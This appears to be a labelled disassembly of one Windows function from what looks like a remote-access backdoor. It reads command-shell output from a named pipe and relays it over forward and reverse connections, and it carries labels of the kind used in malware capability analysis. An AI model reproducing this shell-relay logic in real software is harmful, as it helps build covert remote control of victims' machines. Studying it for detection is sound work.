Function at 0x10014ac0
Capabilities:
Read file on windows
Read pipe

Disassembly:
mov eax, 0x144c
call fcn.10015a10
push ebx
mov ebx, ecx
push ebp
push esi
mov eax, dword [ebx + 0x34]
push edi
test eax, eax
je 0x10014d40
mov ebp, str.E:NetMonitor_
lea eax, [esp + 0x30]
push str.CThreadCMDShell::DealShell..._Start_Read_Data...
push eax
mov dword [esp + 0x18], 0
mov dword [esp + 0x38], ebp
mov dword [esp + 0x3c], 0x46
mov dword [esp + 0x40], 0x1000
call fcn.10006230
add esp, 8
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
lea ecx, [esp + 0x14]
push 0
lea edx, [esp + 0x14]
push ecx
mov ecx, dword [ebx + 0x34]
push edx
lea eax, [esp + 0x54]
push 0x400
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_PeekNamedPipe]
test eax, eax
je 0x10014cdd
mov eax, dword [esp + 0x10]
test eax, eax
jbe 0x10014cdd
mov edx, dword [esp + 0x14]
push edx
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov esi, eax
test esi, esi
je 0x10014cdd
lea eax, [esp + 0x24]
push str.CThreadCMDShell::DealShell..._Read_File...
push eax
mov dword [esp + 0x2c], ebp
mov dword [esp + 0x30], 0x52
mov dword [esp + 0x34], 0x1000
call fcn.10006230
mov ecx, dword [esp + 0x1c]
xor eax, eax
mov edx, ecx
mov edi, esi
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, edx
add esp, 8
and ecx, 3
rep stosb byte es:[edi], al
mov ecx, dword [esp + 0x14]
mov edx, dword [ebx + 0x34]
lea eax, [esp + 0x10]
push 0
push eax
push ecx
push esi
push edx
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov ecx, 0x405
xor eax, eax
lea edi, [esp + 0x448]
rep stosd dword es:[edi], eax
mov ecx, dword [ebx + 0x4c]
mov eax, dword [esp + 0x10]
test ecx, ecx
mov dword [esp + 0x448], 0x1e3992
mov dword [esp + 0x44c], 0x7b
mov dword [esp + 0x458], eax
je 0x10014c23
lea edx, [esp + 0x448]
push 0x1014
push edx
call fcn.100089b0
cmp eax, 0x1014
jne 0x10014c90
mov eax, dword [esp + 0x10]
mov ecx, dword [ebx + 0x4c]
push eax
push esi
call fcn.100089b0
cmp eax, dword [esp + 0x10]
jne 0x10014cb0
jmp 0x10014c5f
mov ecx, dword [ebx + 0x50]
test ecx, ecx
je 0x10014c5f
lea edx, [esp + 0x448]
push 0x1014
push edx
call fcn.1000e280
cmp eax, 0x1014
jne 0x10014cf3
mov eax, dword [esp + 0x10]
mov ecx, dword [ebx + 0x50]
push eax
push esi
call fcn.1000e280
cmp eax, dword [esp + 0x10]
jne 0x10014d13
push esi
call dword [sym.imp.KERNEL32.dll_LocalFree]
lea ecx, [esp + 0x14]
push 0
lea edx, [esp + 0x14]
push ecx
mov ecx, dword [ebx + 0x34]
push edx
lea eax, [esp + 0x54]
push 0x400
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_PeekNamedPipe]
test eax, eax
jne 0x10014b3e
jmp 0x10014cdd
lea edx, [esp + 0x3c]
push str.CThreadCMDShell::DealShell___Obverse_Send_Head_Failed.
mov dword [esp + 0x40], ebp
mov dword [esp + 0x44], 0x61
mov dword [esp + 0x48], 0x100
push edx
jmp 0x10014cce
lea eax, [esp + 0x18]
push str.CThreadCMDShell::DealShell___Obverse_Send_Body_Failed.
mov dword [esp + 0x1c], ebp
mov dword [esp + 0x20], 0x68
mov dword [esp + 0x24], 0x100
push eax
call fcn.10006230
add esp, 8
push esi
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov eax, dword [ebx + 0x34]
test eax, eax
jne 0x10014ae0
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x144c
ret
lea ecx, [esp + 0x18]
push str.CThreadCMDShell::DealShell___Reverse_Send_Head_Failed.
mov dword [esp + 0x1c], ebp
mov dword [esp + 0x20], 0x71
mov dword [esp + 0x24], 0x100
push ecx
jmp 0x10014d31
lea edx, [esp + 0x18]
push str.CThreadCMDShell::DealShell___Reverse_Send_Body_Failed.
mov dword [esp + 0x1c], ebp
mov dword [esp + 0x20], 0x78
mov dword [esp + 0x24], 0x100
push edx
call fcn.10006230
add esp, 8
push esi
call dword [sym.imp.KERNEL32.dll_LocalFree]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x144c
ret